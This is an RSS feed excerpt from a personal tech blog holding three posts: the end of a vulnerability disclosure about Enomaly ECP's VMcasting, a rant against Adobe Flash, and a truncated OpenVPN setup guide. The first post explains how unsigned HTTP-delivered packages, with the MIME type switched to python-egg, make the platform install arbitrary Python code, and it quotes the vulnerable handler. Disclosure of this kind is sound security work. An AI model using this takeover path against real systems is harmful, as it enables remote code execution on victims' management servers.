&lt;/ul&gt;Sure enough if you retrieve the first URL you'll get a feed of "virtual appliances" like &lt;a href="http://s3.amazonaws.com/VM_Images/265e0596-8341-11dd-920d-1a1321b1d5ec.xvm2"&gt;this one&lt;/a&gt; (delivered over HTTP from Amazon S3 no less) and as expected, if you untar it you'll see that there's no signatures whatsoever. Don't get me started on the myriad vulnerabilities no doubt present within the appliances themselves given their age - packaging applications as virtual machines is a notoriously bad idea and one that I hope will be overrun by containers/platforms in the not too distant future.&lt;br /&gt;
&lt;br /&gt;
But wait, there's more - being able to run workloads of your choice (e.g. trojan horses, network scanners, etc.) within your victim's network is one thing, and being able to obtain and reverse engineer their existing workloads (given there's no catering for authentication) another, but taking over the management system itself is where there's real fun to be had. Fortunately all you need to do is set the MIME type to &lt;code&gt;application/python-egg&lt;/code&gt; rather than &lt;code&gt;application/enomalism2-xvm2&lt;/code&gt; and this little chestnut gets invoked, quietly unzipping and forcibly installing the supplied python module:&lt;br /&gt;
&lt;blockquote&gt;&lt;pre&gt;elif self.get_mime()==EGG_MIME:
tx.update("Installing Python egg.", 90)
target=os.path.join(settings.repodir,\
self.get_uuid().replace("-","_")+".egg")
shutil.move(filename, target)
self.install_python_egg(target)&lt;/pre&gt;&lt;/blockquote&gt;The vmcast_modules feed currently advertises the &lt;a href="http://enomaly.com/fileadmin/eggs/e2_drivemounter-1.0.0ecp_2.1-py2.5.egg"&gt;e2_drivemounter&lt;/a&gt;, &lt;a href="http://enomaly.com/fileadmin/eggs/e2_exception-1.0.0ecp_2.1-py2.5.egg"&gt;e2_exception&lt;/a&gt; and &lt;a href="http://enomaly.com/fileadmin/eggs/e2_phone_home-1.0.0ecp_2.1-py2.5.egg"&gt;e2_phone_home&lt;/a&gt; modules which are all available for download, again over HTTP, from &lt;a href="http://enomaly.com/fileadmin/eggs/"&gt;http://enomaly.com/fileadmin/eggs/&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Anyway I'm sure there'll be &lt;a href="http://groups.google.com/group/enomalism/msg/83a8c3c4c3abe033"&gt;backpedalling&lt;/a&gt;, &lt;a href="http://groups.google.com/group/enomalism/browse_thread/thread/ae94ac7cb5fa7683"&gt;downplaying&lt;/a&gt;, &lt;a href="http://www.elasticvapor.com/2008/11/v-for-vendetta.html"&gt;shooting-the-messenger&lt;/a&gt;, etc. which is why you're reading this here rather than in a vulnerability announcement. While the bugs are obviously unconfirmed this still illustrates my point nicely - don't take it for granted that private cloud offerings are secure, and in the unlikely event that the systems themselves are secure, don't assume you or your provider can run them in a more secure fashion than a "public" cloud provider could.&lt;br /&gt;
&lt;br /&gt;
Incidents like this go a long way towards realising one of &lt;a href="http://www.crn.com/hardware/222500171?pgno=10"&gt;my predictions&lt;/a&gt; for 2010 (or should I say &lt;a href="http://twitter.com/philww"&gt;@philww&lt;/a&gt;'s "&lt;a href="http://twitter.com/philww/status/7720391351"&gt;considered prediction&lt;/a&gt;") in that &lt;i&gt;&lt;b&gt;Private clouds will be discredited by year end&lt;/b&gt;&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update&lt;/b&gt;: Following Enomaly, Inc.'s CEO denying access to the source, a "Strategic Advisor and Board Member" downplayed the issues (below), once again claiming "&lt;i&gt;many of the items above have been addressed in [other] editions&lt;/i&gt;" and once again failing to provide any details or code for verification. Finally, the CTO &lt;a href="http://twitter.com/ruv/status/8623995916"&gt;tweeted&lt;/a&gt; "&lt;i&gt;Seriously, reviewing software you've never tried is like reviewing book you've never read or a movie you've never watched. #Fail&lt;/i&gt;" and promptly blocked me.&lt;br /&gt;
&lt;br /&gt;
Given Enomaly&amp;nbsp;&lt;a href="http://www.informationweek.com/news/software/open_source/showArticle.jhtml?articleID=212002339"&gt;claimed to have 15,000 users&lt;/a&gt;&amp;nbsp;some 18 months ago and 15,000 organisations more recently (both &lt;a href="http://www.enomaly.com/Company.411.0.html"&gt;officially&lt;/a&gt; and &lt;a href="http://www.elasticvapor.com/2009/04/announcing-enomaly-cloud-hosting.html"&gt;unofficially&lt;/a&gt;), if they're to be believed then&amp;nbsp;that's a lot of people left high and dry by the outstanding vulnerabilities, not to mention their having pulled the source. It's also more than enough motivation to &lt;a href="http://samj.net/2010/02/announcing-openecp-open-elastic.html"&gt;announce the release&lt;/a&gt; of &lt;a href="http://www.openecp.org/"&gt;OpenECP: Open Elastic Computing Platform&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Whether the community run with it is yet to be seen but in any case it fills the void left by Enomaly ECP, throws stranded customers a lifeline and may just coax the company into being better behaved with respect to security issues and the open source community. Time will tell.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update&lt;/b&gt;: According to Secunia "&lt;i&gt;The vendor disputes the problems: reportedly, the vulnerable module is not used in any of their current products and was only used in the now unsupported 'Community Edition'&lt;/i&gt;". This conflicts with their "&lt;a href="http://www.enomaly.com/Administration-T.476.0.html"&gt;VM Repository Management&lt;/a&gt;" screencast which clearly shows both the offending VMcasting protocol &lt;u&gt;&lt;b&gt;and&lt;/b&gt;&lt;/u&gt; the offending insecure URLs in use in their commercial product:&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_IxQkfsYwk8g/S4FhpskaUXI/AAAAAAAAAA4/octDp0vbVxk/s1600-h/enomaly-ecp-vmcasting-screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="428" src="http://3.bp.blogspot.com/_IxQkfsYwk8g/S4FhpskaUXI/AAAAAAAAAA4/octDp0vbVxk/s640/enomaly-ecp-vmcasting-screenshot.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-7604910184753942722?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=fFk-HPPMohk:9RDJipcftXg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=fFk-HPPMohk:9RDJipcftXg:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=fFk-HPPMohk:9RDJipcftXg:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=fFk-HPPMohk:9RDJipcftXg:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=fFk-HPPMohk:9RDJipcftXg:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=fFk-HPPMohk:9RDJipcftXg:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=fFk-HPPMohk:9RDJipcftXg:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=fFk-HPPMohk:9RDJipcftXg:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=fFk-HPPMohk:9RDJipcftXg:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/fFk-HPPMohk" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-21T17:42:08.636+01:00</app:edited><media:thumbnail url="http://3.bp.blogspot.com/_IxQkfsYwk8g/S4FhpskaUXI/AAAAAAAAAA4/octDp0vbVxk/s72-c/enomaly-ecp-vmcasting-screenshot.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><enclosure url="http://opencloud.googlecode.com/svn/trunk/oci/ocp/open-cloud-principles.html" length="5673" type="application/xhtml+xml" /><media:content url="http://opencloud.googlecode.com/svn/trunk/oci/ocp/open-cloud-principles.html" fileSize="5673" type="application/xhtml+xml" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>It's ironic that the purveyors of "Private Cloud" sell their wares on the premise of enhanced privacy and security - a totally unjustified claim which is too often accepted without question - and that they are quick to dismiss the huge benefit of the armi</itunes:subtitle><itunes:author>Sam Johnston</itunes:author><itunes:summary>It's ironic that the purveyors of "Private Cloud" sell their wares on the premise of enhanced privacy and security - a totally unjustified claim which is too often accepted without question - and that they are quick to dismiss the huge benefit of the armies of security boffins employed by "public" cloud vendors (whose future is largely dependent on keeping customer data safe). It's also very convenient for them that the term itself is disparaging of "public" cloud in the same way that "Blog With Integrity" badges imply that the rest of us are somehow unethical (one of the main reasons I personally have and will always dislike[d] it). It is with that in mind that I was intrigued by Reuven Cohen's announcement today regarding Enomaly, Inc. having recently joined the Intel Cloud Builder Program (whatever that is). It was these two quotes that I found particularly questionable regarding their Enomaly ECP product: Intel was among the first to full(sic) understand the opportunity in enabling a truly secure virtualized cloud computing environments(sic) for service providers and Telco's. Our work with the Intel Cloud Builder Program will help to accelerate our efforts to deliver a massively-scalable, highly-available, high-security cloud platform to our customers. The reason I'm naturally suspicious of such claims is that I've already discovered a handful of critical security vulnerabilities in this product (and that's without even having to look beyond the startup script - a secure-by-default turbogears component that was made insecure through inexplicable modifications): CVE-2008-4990 Enomaly ECP/Enomalism: Insecure temporary file creation vulnerabilities CVE-2009-0390: Argument injection vulnerability in Enomaly Elastic Computing Platform (ECP) Enomaly ECP/Enomalism: Multiple vulnerabilities in enomalism2.sh (redux) I had to dig a little (but not much) deeper for the silent update remote command execution vulnerability. I also inadvertently discovered another serious security vulnerability (sending corporate BestBuy credentials in the clear over the Internet to a 3rd party service), which as it turns out was also developed by Enomaly, Inc. It's only natural that I would be suspicious of any future security claims made by this company. It doesn't help my sentiment either that every last trace of the Open Source ECP Community Edition was recently scrubbed from the Internet without notice, leaving angry customers high and dry, purportedly pending the "rejigging [of their] OSS strategy". While my previous attempts to fork the product as Freenomalism failed when we were unable to get the daemon to start, having the code in any condition is better than not having it at all. In my opinion this is little more than blatantly (and successfully I might add) taking advantage of the Open Source community for as long as necessary to get the product into the limelight. Had they not filled this void others would certainly have done so, and the Open Cloud would be better off today as a result. As part of cloud standards work I was interested in taking a look at the "secure" mechanism they developed for distributing virtual machines: VMcasting is an automatic virtual machine deployment mechanism based on RSS2.0 whereby virtual machine images are transferred from a server to a client which securely delivers files containing a technical specification and virtual disk image.Another bold claim that initially appeared justified by a simple but relatively sensible embedding of crytpographically strong checksums into descriptor and manifest files that were in turn digitally signed using GPG. Unfortunately no consideration was given to the secure retrieval of the archive itself (nor the RSS feed listing the archives for that matter), nor were signatures actually required by the specification, meaning that it would be trivial for an attacker to insert their own unsigned packages and/or replace existing signed packages with modified, unsigned ones. Or replayi</itunes:summary><itunes:keywords>internet,security,programming,dns,web2,0,enterprise2,0,apple,google,microsoft,linux,unix,saas,networking,free,software,opensource</itunes:keywords><feedburner:origLink>http://samj.net/2010/02/private-cloud-security-is-no-security.html</feedburner:origLink></item><item><title>Face it Flash, your days are numbered.</title><link>http://feedproxy.google.com/~r/samj/~3/MrdBeqDHE68/face-it-flash-your-days-are-numbered.html</link><category>cloud</category><category>standards</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Thu, 18 Feb 2010 18:47:05 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-315636956353292086</guid><description>It's no secret that I'm no fan of &lt;a href="http://en.wikipedia.org/wiki/Adobe_Flash"&gt;Adobe Flash&lt;/a&gt;:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://samj.net/2009/02/why-adobe-flash-penetration-is-more.html"&gt;Why Adobe Flash penetration is more like 50% than 99%&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://samj.net/2009/02/towards-flash-free-youtube-killer-was.html"&gt;Towards a Flash free YouTube killer (was: Adobe Flash penetration more like 50%)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://samj.net/2009/10/howto-fix-os-x-by-uninstalling-adobe.html"&gt;HOWTO: Fix OS X by uninstalling Adobe Flash&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;It should be no surprise then that I'm stoked to see a vigorous debate taking place about the future/fate of Flash well ahead of schedule, and even happier to see Flash sympathisers already resorting to desperate measures including "&lt;a href="http://www.wired.com/gadgetlab/2010/01/adobe-porn-flash/"&gt;playing the porn card&lt;/a&gt;" (not to mention &lt;a href="http://www.youtube.com/watch?v=odBDAcOEKuI"&gt;Farmville&lt;/a&gt; which, in addition to the myriad annoying, invasive and privacy-invading advertisements, I will also be more than happy to see extinct). In my mind this all but proves how dire their situation has become with the sudden onslaught of mobile devices deliberately absent flash malware*.&lt;br /&gt;
&lt;br /&gt;
Let's take a moment to talk about statistics. &lt;a href="http://www.readwriteweb.com/archives/analysts_predict_1_billion_mobile_web_users_by_2010.php"&gt;According to analysts&lt;/a&gt; there are currently "only" 1.3 billion Internet-connected PCs. To put that into context, there are already almost as many Internet-connected mobile devices. With a growth rate 2.5 times that of PCs, mobiles will soon become the dominant Internet access device. Of those new devices, few of them support Flash (think &lt;a href="http://en.wikipedia.org/wiki/Android_(operating_system)"&gt;Android&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/IPhone"&gt;iPhone&lt;/a&gt;), and with good reason - they are designed to be small, simple, performant and operate for hours/days between charges.&lt;br /&gt;
&lt;br /&gt;
As if that's not enough, companies with the power to make it happen would very much like for us to have a &lt;strong&gt;third&lt;/strong&gt; device that fills the void between the two - a &lt;a href="http://en.wikipedia.org/wiki/Netbook"&gt;netbook&lt;/a&gt; or a &lt;a href="http://en.wikipedia.org/wiki/Tablet_PC"&gt;tablet&lt;/a&gt; (like the iPad). For the most part (again being powered by Android and iPhone OS) these devices don't support Flash either. Even if we were to give Adobe the benefit of the doubt in accepting their &lt;s&gt;deceptive&lt;/s&gt;optimistic &lt;a href="https://www.adobe.com/products/player_census/flashplayer/"&gt;claims&lt;/a&gt; that Flash is currently "&lt;em&gt;reaching 99% of Internet-enabled desktops in mature markets&lt;/em&gt;" (for more on that subject see &lt;a href="http://www.ben-morris.com/lies-damned-lies-and-adobes-penetration-statistics-for-flash"&gt;Lies, damned lies and Adobe’s penetration statistics for Flash&lt;/a&gt;), between these two new markets it seems inevitable that their penetration rate will drop well below 50% real soon now.&lt;br /&gt;
&lt;br /&gt;
Here's the best part though, Flash penetration doesn't even have to drop below 50% for us to break the vicious cycle of designers claiming "99% penetration" and users then having to install Flash because so many sites arbitrarily depend on it (using Flash for navigation is a particularly heinous offense, as is using it for headings with fancy fonts). Even if penetration were to drop to 95% (I would argue it already has long ago, especially if you dispense with weasel wording like "mature markets" and even moreso if you do away with the arbitrary "desktop" restriction - talk about &lt;a href="http://en.wikipedia.org/wiki/Sampling_bias"&gt;sampling bias&lt;/a&gt;!) that translates to turning away 1 in 20 of your customers. At what point will merchants start to flinch - 1 in 10 (90%)? 1 in 5 (80%)? 1 in 4 (75%)? 1 in 2 (50%)?&lt;br /&gt;
&lt;br /&gt;
As if that's not enough, according to &lt;a href="http://riastats.com/#"&gt;Rich Internet Application Statistics&lt;/a&gt;, you would be losing some of your best customers - those who can afford to run Mac OS X (87% penetration) and Windows 7 (around 75% penetration) - not to mention those with iPhones and iPads (neither of which are the cheapest devices on the market). Oh yeah and you heard it right, &lt;a href="http://1.bp.blogspot.com/_7biMK_kQerY/S2YFcaY8hzI/AAAAAAAAAdk/vDycYKxVyy8/s1600-h/Screen%20shot%202010-01-31%20at%2011.30.13%20PM.png"&gt;according to them&lt;/a&gt;, Flash penetration on Windows 7 is an embarassing 3 in 4 machines; even worse than &lt;s&gt;Sun&lt;/s&gt;Oracle Java (though ironically Microsoft's own Silverlight barely reaches 1 in 2 machines).&lt;br /&gt;
&lt;br /&gt;
While we're at it, at what point does it become "&lt;a href="http://www.wired.com/gadgetlab/2010/01/ipad-flash/"&gt;willful false advertising&lt;/a&gt;" for Adobe and their army of Flash designers to claim such deep penetration? Victims who pay $$lots for Flash-based sites only to discover from server logs that a surprisingly large percentage of users are being turned away have every reason to be upset, and ultimately to seek legal recourse. Why hasn't this already happened? Has it? In any case designers like "&lt;em&gt;Paul Threatt, a graphic designer at Jackson Walker design group, [who] has filed a complaint to the FTC alleging false advertising&lt;/em&gt;" ought to think twice before pointing the finger at Apple (accused in this case over a few mockups, briefly shown and since removed, in an iPad promo video).&lt;br /&gt;
&lt;br /&gt;
At the end of the day much of what is annoying about the web is powered by Flash. If you don't believe me then get a &lt;a href="http://getfirefox.com/"&gt;real&lt;/a&gt; &lt;a href="http://google.com/chrome"&gt;browser&lt;/a&gt; and install Flashblock (for &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/433"&gt;Firefox&lt;/a&gt; or &lt;a href="https://chrome.google.com/extensions/detail/gofhjkjmkpinhpoiabjplobcaignabnl"&gt;Chrome&lt;/a&gt;) or &lt;a href="http://clicktoflash.com/"&gt;ClickToFlash&lt;/a&gt; (for Safari) and see for yourself. You will be pleasantly surprised by the absence of annoyances as well as impressed by how well even an old computer can perform when not laden with this unnecessary parasite*. What is less obvious (but arguably more important) is that your security will dramatically improve as you significantly reduce your attack surface (while you're at it replace Adobe Reader with &lt;a href="http://www.foxitsoftware.com/pdf/reader/"&gt;Foxit&lt;/a&gt; and enjoy even more safety). As someone who has been largely &lt;a href="http://samj.net/2009/10/howto-fix-os-x-by-uninstalling-adobe.html"&gt;Flash-free for the last 3 months&lt;/a&gt; I can assure you life is better on the other side; in addition to huge performance gains I've had far fewer crashes since purging my machine - unsurprising given &lt;a href="http://www.wired.com/epicenter/2010/01/googles-dont-be-evil-mantra-is-bullshit-adobe-is-lazy-apples-steve-jobs/"&gt;according to Apple's Steve Jobs&lt;/a&gt;, "&lt;em&gt;Whenever a Mac crashes more often than not it’s because of Flash&lt;/em&gt;". "&lt;em&gt;No one will be using Flash, he says. The world is moving to &lt;a href="http://en.wikipedia.org/wiki/HTML5"&gt;HTML5&lt;/a&gt;.&lt;/em&gt;"&lt;br /&gt;
&lt;br /&gt;
So what can Adobe do about this now the horse has long since bolted? If you ask me, nothing. Dave Winer (another fellow who, like myself, "&lt;em&gt;very much care[s] about an open Internet&lt;/em&gt;") is somewhat more positive in posing the question &lt;a href="http://www.scripting.com/stories/2010/01/31/whatIfFlashWereAnOpenStand.html"&gt;What if Flash were an open standard?&lt;/a&gt; and suggesting that "&lt;em&gt;Adobe might want to consider, right now, very quickly, giving Flash to the public domain. Disclaim all patents, open source all code, etc etc.&lt;/em&gt;". Too bad it's not that simple so long as one of the primary motivations for using Flash is &lt;a href="http://blogs.zdnet.com/Stewart/?p=501"&gt;bundled proprietary codecs like H.264&lt;/a&gt; (which the MPEG LA have &lt;a href="http://lwn.net/Articles/371751/"&gt;made abundantly clear&lt;/a&gt; will not be open sourced so long as they hold [over 900!] essential patents over it).&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Update&lt;/strong&gt;: Mobile &lt;a href="http://www.biskero.org/?p=4526"&gt;Firefox Maemo RC3&lt;/a&gt; has disabled Flash because "&lt;em&gt;The Adobe Flash plugin used on many sites degraded the performance of the browser to the point where it didn’t meet Mozilla’s standards.&lt;/em&gt;" Sound familiar?&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Update&lt;/strong&gt;: Regarding the upcoming CS5 release which Adobe &lt;a href="http://labs.adobe.com/technologies/flashcs5/appsfor_iphone/"&gt;claims&lt;/a&gt; will "&lt;em&gt;let you publish ActionScript 3 projects to run as native applications for iPhone&lt;/em&gt;", this is not at all the same thing as the Flash plugin and will merely allow developers to create applications which suck more using a non-free SDK. No thanks. I'm unconvinced Apple will let such applications into the store anyway, citing performance concerns and/or the runtime rule.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Update&lt;/strong&gt;: I tend to agree with Steven Wei that &lt;a href="http://www.stevenwei.com/2010/01/31/the-best-way-for-adobe-to-save-flash-is-by-killing-it/"&gt;The best way for Adobe to save Flash is by killing it&lt;/a&gt;, but that doesn't mean it'll happen and any case if they wanted to do that they would have wanted to have started at least a year or two ago for the project to have any relevance, and it's clear that they're still busy flogging the binary plugin dead horse.&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Update&lt;/strong&gt;: Another important factor I neglected to mention above is that Adobe already struggle to maintain up-to-date binaries for a small number of major platforms and even then Mac and Linux are apparently second and third class citizens. If they're struggling to manage the workload today then I don't see what will make it any easier tomorrow with the myriad Linux/ARM devices hitting the market (among others). Nor would they want to - if they target HTML5, CSS3, etc. as proposed above then they have more resources to spend on having the best development environment out there.&lt;br /&gt;
&lt;br /&gt;
&lt;small&gt;* You may feel that words like "parasite" and "malware" are a bit strong for Flash, but when you think about it Flash has all the necessary attributes; it consumes your resources, weakens your security and is generally annoying. In short, the cost outweighs any perceived benefits.&lt;/small&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6834535-315636956353292086?l=samj.net' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/samj?a=MrdBeqDHE68:Yv0kEqU5aA0:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=MrdBeqDHE68:Yv0kEqU5aA0:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=MrdBeqDHE68:Yv0kEqU5aA0:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=MrdBeqDHE68:Yv0kEqU5aA0:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=MrdBeqDHE68:Yv0kEqU5aA0:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=MrdBeqDHE68:Yv0kEqU5aA0:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=MrdBeqDHE68:Yv0kEqU5aA0:l6gmwiTKsz0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?d=l6gmwiTKsz0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/samj?a=MrdBeqDHE68:Yv0kEqU5aA0:gIN9vFwOqvQ"&gt;&lt;img src="http://feeds.feedburner.com/~ff/samj?i=MrdBeqDHE68:Yv0kEqU5aA0:gIN9vFwOqvQ" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/samj/~4/MrdBeqDHE68" height="1" width="1"/&gt;</description><app:edited xmlns:app="http://www.w3.org/2007/app">2010-02-19T03:47:05.242+01:00</app:edited><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">9</thr:total><feedburner:origLink>http://samj.net/2010/02/face-it-flash-your-days-are-numbered.html</feedburner:origLink></item><item><title>HOWTO: Set up OpenVPN in a VPS</title><link>http://feedproxy.google.com/~r/samj/~3/ic2Lb-u9qYs/howto-set-up-openvpn-in-vps.html</link><category>security</category><author>samj@samj.net (Sam Johnston)</author><pubDate>Tue, 06 Apr 2010 12:00:22 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-6834535.post-980191825112902945</guid><description>If, like me, you want to do any or all of the following things, you'll want to tunnel your traffic over a VPN to a remote location:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Access media services restricted by geography (Hulu, FOX, BBX, etc.)&lt;/li&gt;&lt;li&gt;Bypass draconian censorship&lt;/li&gt;&lt;li&gt;Conceal your identity/location/etc.&lt;/li&gt;&lt;li&gt;Protect your machine from attackers&lt;/li&gt;&lt;li&gt;etc.&lt;/li&gt;&lt;/ul&gt;You could of course use a commercial service like &lt;a href="http://alwaysvpn.com/"&gt;AlwaysVPN&lt;/a&gt; in which case you typically pay ($5-10) per month or (~$1) per gigabyte, but many will prefer to run their own service. FWIW AlywaysVPN has worked very well for me but it's time to move on.&lt;br /&gt;&lt;br /&gt;First thing's first you'll want to find yourself a remote Linux server, and the easiest way to do so is to rent a virtual private server (VPS) from one of a myriad providers. No point spending more than 10 bucks a month on it as you don't need much in the way of resources (only bandwidth). Check out &lt;a href="http://www.lowendbox.com/"&gt;lowendbox.com&lt;/a&gt; for VPS deals under $7/month or just run with a &lt;a href="https://www.burst.net/linvps.shtml"&gt;BurstNET VPS&lt;/a&gt; starting at $5.95/month for a very reasonable resource allocation (including a terabyte of bandwidth!).&lt;br /&gt;&lt;br /&gt;Once you've placed your order and passed their fraud detection systems (which includes an automated callback on the number you supply) you'll have to wait 12-24 hours for activation, upon which you'll receive an email with details for accessing your vePortal control panel as well as the VPS itself (via SSH). You'll get 2 IP addresses and I dedicated the second to both inbound and outbound traffic for VPS clients (which live on a 10.x RFC1918 subnet and access the Internet via SNAT).&lt;br /&gt;&lt;br /&gt;If you didn't already do so when signing up then choose a sensible OS in your control panel ("OS Reload") like Ubuntu 8.04 - a Long Term Support release which means you'll be getting security fixes for years to come - or better yet, 10.4 if it's been released by the time you read this (it's the next LTS release). Do an "apt-get install unattended-upgrades" and you ought to be fairly safe until 2015. You're also going to need your TUN/TAP device(s) enabled which involves another trip to the control panel ("Enable Tun/Tap") and/or a helpdesk ticket (&lt;a href="http://support.burst.net/"&gt;http://support.burst.net/&lt;/a&gt;). If /dev/net/tun doesn't exist then you can create it with "mknod /dev/net/tun c 10 200".&lt;br /&gt;&lt;br /&gt;To install OpenVPN it's just a case of doing "apt-get install openvpn"... you could also download a free 2-user version of OpenVPN-AS from &lt;a href="http://openvpn.net/"&gt;http://openvpn.net/&lt;/a&gt; but I found it had problems trying to load netfilter modules that were already loaded so YMMV. If you want support or &amp;gt; 2 users you'll be looking at a very reasonable $5/user - you're on your own with the free/open source version but there's no such limitations either.&lt;br /&gt;&lt;br /&gt;OpenVPN uses PKI but rather than go to a certificate authority we'll set one up ourselves. EasyRSA is included to simplify this process so it's just a case of doing something like this:&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;cd /usr/share/doc/openvpn/examples/easy-rsa/2.0. ./vars./clean-all./build-ca./build-dhopenvpn --genkey --secret ta.key./build-key-server server./build-key client1./build-key client2./build-key client3&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;It'll ask you a bunch of superflous information like your country, state, city, organisation, etc. but I just filled these out with '.' (blank rather than the defaults) - mostly so as not to give away information unnecessarily to anyone who asks. The only field that matters is the Common Name which you probably want to leave as 'server', 'client1' (or some other username like 'samj'), etc. When you're done here you'll want to "cp keys/* /etc/openvpn" so OpenVPN can see it.&lt;br /&gt;&lt;br /&gt;Next you'll want to configure the OpenVPN server and client(s) based on examples in /usr/share/doc/openvpn/examples/sample-config-files. I'm running two - one "Faster" one for the best performance when I'm on a "clean" connection (which uses udp/1194) and another "Compatible" one for when I'm on a restricted/corporate network (which shares tcp/443 with HTTPS). I did a "zcat server.conf.gz &amp;gt; /etc/openvpn/faster.conf" and edited it so it (when filtered with `cat faster.conf | grep -v "^#" |grep -v "^;" | grep -v "^$"`) looks something like this:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;pre&gt;local 173.212.x.xport 1194proto udpdev tunca ca.crtcert server.crtkey server.keydh dh1024.pemserver 10.9.0.0 255.255.255.0ifconfig-pool-persist faster-ipp.txtpush "redirect-gateway def1 bypass-dhcp"push "dhcp-option DNS 8.8.8.8"push "dhcp-option DNS 8.8.4.4"client-to-clientkeepalive 10 120tls-auth ta.key 0cipher BF-CBCcomp-lzouser nobodygroup nogrouppersist-keypersist-tunstatus /var/log/openvpn/faster-status.loglog-append /var/log/openvpn/faster.logverb 3mute 20&lt;/pre&gt;&lt;/blockquote&gt;&lt;br /&gt;Noteworthy points:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;local&lt;/code&gt; specifies which IP to bind to - I used the second (of two) that BurstNET had allocated to my VPS so as to keep the first for other servers, but you could just as easily use the first and then put clients behind the second, which would appear to be completely "clean".&lt;/li&gt;&lt;li&gt;We're using "tun" (tunneling/routing) rather than "tap" (ethernet briding) because BurstNET use venet interfaces which lack MAC addresses &lt;a href="http://openvpn.net/index.php/access-server/howto-openvpn-as/186-how-to-run-access-server-on-a-vps-container.html"&gt;rather than veth&lt;/a&gt;. Wasn't able to get bridging up and running, as originally intended.&lt;/li&gt;&lt;li&gt;There are &lt;a href="http://openvpn.net/index.php/open-source/documentation/howto.html#security"&gt;various hardening options&lt;/a&gt; but to keep it simple I just run as nobody:nogroup and use tls-auth (having generated the optional ta.key with "openvpn --genkey --secret ta.key" above).&lt;/li&gt;&lt;li&gt;Pushing &lt;a href="http://code.google.com/speed/public-dns/"&gt;Google Public DNS&lt;/a&gt; addresses to clients as they won't be able to use their local resolver addresses once connected. Also telling them to route all traffic over the VPN (which would otherwise only intercept traffic for a remote network).&lt;/li&gt;&lt;li&gt;Configured separate log files and subnets 